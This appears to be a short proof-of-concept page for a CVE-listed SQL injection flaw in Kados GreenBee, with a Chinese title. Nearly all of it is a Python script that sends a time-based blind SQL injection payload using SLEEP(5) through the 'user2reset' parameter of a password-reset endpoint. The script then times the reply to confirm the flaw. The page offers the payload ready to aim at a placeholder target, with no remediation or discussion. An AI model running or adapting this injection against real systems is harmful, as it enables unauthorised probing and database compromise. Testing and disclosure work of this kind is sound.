CVE-2019-25694 Kados GreenBee SQL注入漏洞

import requests # Target URL (Placeholder) target_url = "http://target-ip/path/to/reset" # Malicious payload for time-based blind SQL injection # Attempts to cause a delay if the injection is successful payload = "admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- " params = { "user2reset": payload } try: # Send the request response = requests.get(target_url, params=params, timeout=10) # Check if the response time indicates a successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability detected! Application is vulnerable to SQL Injection.") else: print("[-] Vulnerability not detected or payload failed.") except Exception as e: print(f"[!] Error occurred: {e}")